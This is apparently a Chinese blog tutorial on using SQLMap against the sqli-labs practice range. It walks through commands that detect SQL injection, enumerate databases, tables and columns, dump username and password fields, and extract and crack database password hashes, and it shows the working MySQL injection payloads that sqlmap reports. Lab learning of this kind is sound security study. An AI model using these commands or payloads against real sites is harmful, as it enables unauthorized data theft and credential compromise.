SQLMap入门(基于SQLMap1.4.9.3与《Web安全攻防渗透测试实战指南》提供的靶场)

目录

1 判断是否存在注入

2 判断文本中的请求是否存在注入

3 查询当前用户下的所有数据库

4 获取数据库中的表名

5 获取表中的字段名

6 获取字段内容

7 获取数据库的所有用户

8 获取用户数据库的密码

9 获取当前网站数据库的名称

10 获取当前网站数据库的用户名称


1 判断是否存在注入

假设目标注入点是 http://localhost/sqli-labs/Less-1/?id=11 ,判断其是否存在注入点的命令如下所示:

python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=11
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=11' AND 6239=6239 AND 'sWzo'='sWzo

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: id=11' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178627a71,(SELECT (ELT(9725=9725,1))),0x716b717871,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'zuJe'='zuJe

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=11' AND (SELECT 5227 FROM (SELECT(SLEEP(5)))ZvEL) AND 'JmOX'='JmOX

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-4386' UNION ALL SELECT NULL,NULL,CONCAT(0x7178627a71,0x4742497749446d6b6e584d56776648776d497572696b6643677a564a5858477151475a64704f726e,0x716b717871)-- -
---

还有一种情况,当注入点后面的参数大于等于两个时,需要加双引号,如下所示。

python sqlmap.py -u "http://192.168.43.68/sqli-labs/Less-1/?id=1&uid=2"

可以看到,运行完判断是否存在注入的语句后,“爆出” 一大段代码,下面来分析代码反馈给我们的信息。这里有三处需要选择的地方:

第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;
第二处的意思是在"level1、risk1"的情况下,是否使用MySQL对应的所有Payload进行检测;
第三处的意思是参数ID存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 4892=4892 AND 'vJkm'='vJkm&uid=2

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6a7a71,(SELECT (ELT(9671=9671,1))),0x7162716b71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'pBVx'='pBVx&uid=2

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 9857 FROM (SELECT(SLEEP(5)))SaOn) AND 'daZa'='daZa&uid=2

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-2614' UNION ALL SELECT NULL,CONCAT(0x716a6a7a71,0x4242534c516562597462796f424e50724c6c6e45644d577865434f5750624b41614667746e416c72,0x7162716b71),NULL-- -&uid=2
---

2 判断文本中的请求是否存在注入

从文件中加载http请求,SQLMap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等),txt文件中的内容为web数据包、

判断是否存在注入的命令如下所示,-r一般在存在cookie注入时使用

sqlmap -r /desktop/1.txt

3 查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所哟数据库列表信息的表,使用该命令就可以列出所有数据库。

sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=11 --dbs

--dbs缩写成-D xxx,意为在xxx数据库中继续查询其他数据

4 获取数据库中的表名

该命令的作用是查询完数据库后,查询指定数据库中所有的表名。

如果在该命令中不加入-D参数来指定某一个具体的数据库, 那么SQLMap会列出数据库中所有库的表

sqlmap.py -u "http://192.168.1.7/sql/union.php?idl=1" -D dkeye --tables

可以看到dkeye数据库中拥有的三个表名。

当继续注入时,--tables缩写成-T,意为在某表中继续查询

5 获取表中的字段名

该命令的作用是,查询完表名后,查询该表中所有的字段名

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye -T user_info --columns

可以看到dkeye数据库中的user_info表中一共有四个字段。     --columns 缩写成 -C

6 获取字段内容

作用:查询玩字段名之后,获取字段中的具体数据信息

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye -T user_info -C username,password --dump

这里需要下载的数据是dkeye数据库里user_info表中username和password

7 获取数据库的所有用户

该命令的作用是列出数据库的所有用户,如下所示。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -users

可以看到,当前用户账号是root。

8 获取用户数据库的密码

该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含用户密码的权限, SQLMap会先列举出用户,然后列出Hash,并尝试破解。

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --passwords

可以看到,密码使用MySQL5加密,可以在www.cmd5.com中自行解密。

9 获取当前网站数据库的名称

使用该命令可以列出当前网站使用的数据库,如下所示

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --current-db

可以看到数据库是'sql'。

10 获取当前网站数据库的用户名称

使用该命令可以列出当前网站使用的数据库用户

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --current-user

可以看到,用户是root。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值